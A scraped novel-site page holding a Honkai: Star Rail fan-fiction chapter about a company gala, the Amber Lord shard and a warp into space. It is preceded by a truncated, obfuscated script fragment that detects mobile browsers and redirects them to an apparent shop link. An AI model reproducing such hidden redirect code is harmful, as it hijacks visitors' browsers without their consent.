l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551868|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将会成为公司年会上有史以来第一个被贪饕古兽洗劫餐饮区的公关灾难,这样就没法让她卖人情逗钻石玩了。他已经确保全程用手掌稳稳地托着贪贪,绝不让它海纳百川。 当他们走进主宴会厅时,兰涯发现整个大厅安静了一瞬,其实没有音乐停,也没有说话声停,但那种安静是她在战场上太熟悉的本能反应,被众多目光同时聚焦时产生的静默。 两个人没有站在门口等人来招呼。兰涯穿过大厅往甜品区的方向走,拉曼查跟在她身侧半步。路过一群假装聊财报的公司高管时,他们明显是在挪脚,悄无声息地往旁边靠,动作流畅得像排练过龙尊开海。 螺丝咕姆站在甜品区旁边,正端着一个空盘子,用他那一贯平稳而精确的目光研究一个慕斯蛋糕的分子结构。 智械不需要进食,但他每次出席宴会都会象征性地端个盘子,保持螺丝星帝王特有的“社交仪式感”。他最先发现走向自己的两位,瞳孔里的数据流在收束时微微变换了色调,在极短时间内完成了一次升级,从默认待机跳转到进阶社交模块。 “兰涯女士,拉曼查先生,”螺丝咕姆朝两人颔首致意,“很高兴见到你们。衣服的纹理很好看,和周围的色调区分度很高。” 拉曼查把帽子摘下来放在胸口,微微欠身致意:“谢谢,你的盘子也不错。” 螺丝咕姆低头看了看自己手里那个空盘子,思考了好一会儿。 “黑塔女士稍后会来找你们,她正在里面评估碎片。”螺丝咕姆将视线转回兰涯,“希望你们度过一段有收获的时光。” 爻光将军从人群中走过来,远远地就开始扬手招呼他们。她的视线在被现场灯光晃了下之后,看到了拉曼查怀里的那团毛球。 “这是——!”爻光收敛住自己过于激动的音量,弯腰仔细端详这只被顺毛到打瞌睡的小黑煤球。它乌溜溜的眼珠朝她眨了眨,懒洋洋地汪了一声,又趴回拉曼查的臂弯里继续假寐。 爻光看了它好一会儿才直起腰,克制着没去摸尾巴。她说自己以前听景元讲这事的时候还不太信,亲眼见了才知道这小家伙是真的不咬人。 兰涯重新把贪贪从拉曼查手里接到自己怀里,说它现在最喜欢找沙滩上的石子,还鼓励爻光可以摸摸,手感很好,上次景元就摸过,说手感比他以前养的咪咪更好。 爻光试着伸出一根指头轻轻地抚上贪贪的脑袋,贪贪眯着眼睛非常配合,然后她就从一根手指变成了整个手,陷入了黑色软毛的幸福海洋。 一边摸,她们一边聊些无关紧要的事。爻光说这次太卜司找出了几份关于均衡星神的古籍,自己顺便过来探探与公司合作的初步意愿。兰涯提到互的配平。钻石远远地隔了几拨人站着,没有过来打断。 在甜品区的时候,主厨特意将推车最上层的特调巧克力慕斯换成刚补好的桃子慕斯。兰涯叉起一小块慕斯,自己吃了一口,然后叉了一小块递到他嘴边。他低头吃掉,说桃子味很浓。她还未来得及回答,远处已经有个黑塔小人偶拿着记事板像小蜜蜂一样飞过来了。 钻石的特别休息室在宴会厅尽头,推开那扇厚重的隔音门,年会上的音乐和交谈声瞬间被隔绝在外。休息室里的陈设很低调,除了几张沙发和一张用来放匣盒的石台,几乎没有其他多余的装饰。 黑塔已经站在那里了,双臂抱在胸前,手指不耐烦地在自己的手臂上轻轻敲着。看到兰涯推门进来,她点头微笑了一下,这在黑塔的标准里已经属于热烈欢迎了。 透明匣盒放在石台正中央。琥珀王的晶壁碎片并不大,一侧边缘很不规则,另一侧像是被某种极其锐利的工具切下来的,切面光滑得没有任何摩擦痕迹。 碎片本身散发着极淡的琥珀色光,匣盒的角落里已经开始出现细密的结晶,那是存护的力量在自然凝结。 贪贪好奇地凑近匣盒闻了闻,被拉曼查挡住,他把它重新捞起来放在离匣盒远一点的沙发角落里。 兰涯站在匣盒前面,低头看着碎片,问:“伤口现在愈合了吗?” 钻石站在她对面,点头:“基本上已经愈合。”他停顿了一下,说,“之前琥珀王原地不动,是为了封印住贪饕碎片,现在碎片已经取出来了,以后祂可能会开始移动。” 他说到这里,沙发角落里的贪贪汪了一声。钻石的嘴角微微抽动了一下,继续说完下半句:“所以飞船轨道也没有修复的必要了。” 兰涯心想,网上说的九亿参观琥珀王优惠活动看来也要结束了。 黑塔跟着问出她最关心的问题:“你是用什么劈开的?寂静领主的手术刀也没有这个效果。” 兰涯解释了一下,用的是黄泉送的刀,再加了亿点点终末和开拓的力量。 黑塔盯着那个碎片看了好一会儿,然后收起它,说出了钻石大概一直很想说但不好意思说的话:“你现在克制住自己不出手,已经是宇宙的大幸了。” “谢谢。” 黑塔露出了无语的眼神,说:“我这不是夸你,这是客观事实。” 从休息室出来,年会还在继续。音乐换成了更柔和的调子,有人开始在舞池里慢慢旋转。 兰涯和黑塔走在前面,还在讨论晶壁切面的微观结构。 拉曼查抱着贪贪跟在后面,又经过那排一直站在墙角假装聊财报但明显又在挪脚的公司高管们。 兰涯在宴会厅通往出口的走廊上停下来,转身看着拉曼查,问:“想不想试试跃迁?” 不用接送的星舰,用自己的方式回家。 他把贪贪换到另一只手臂,用自己空出来的左手牵住她。 她的力量从身体里漫出来,非常小范围的领域规则,把两人一狗温柔地裹紧。 然后他们从年会的音乐声里消失,直接出现在哈托彼亚上方的深空,又在下一个瞬间出现在一条兰涯驻足过的星带前方。 她的礼服裙摆在没有空气的静谧中轻轻展开,那些钴蓝色的褶皱像被柔和的水浪托起,又缓缓落下。 拉曼查站在她身旁,贪贪从他的臂弯里探出头,乌溜溜的眼睛映照出前方永无止境的星河。 他们两个人在永恒面前,也依然并肩站着。 他转过头看着她。 这片无垠的宇宙,就是她自己。 “我在想。”兰涯突然开口。 拉曼查很自然地接上:“休息够了?” 她惊讶地侧头看他,他的眼睛里带着“我很懂你”的得意的光,然后她忍不住笑了:“对。” 这个人就是这样,明明可以直接回到游侠群体继续衡量公义的天平,继续在星间自由自在,却甘愿留在哈托彼亚,作为人性的锚点陪伴她,直到她自己想要重新启程。 “那就出发。”拉曼查也笑了,“想好去哪里了吗?” 兰涯的语调轻快:“不知道,走到哪里算哪里,宇宙很大。” -END-